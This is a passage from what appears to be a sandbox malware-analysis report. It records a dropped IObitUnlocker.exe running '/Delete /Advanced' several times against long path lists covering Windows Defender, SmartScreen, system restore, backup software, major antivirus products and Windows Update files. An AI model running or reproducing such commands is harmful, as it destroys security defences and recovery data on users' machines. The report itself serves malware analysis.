\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:2292
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:4396
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST 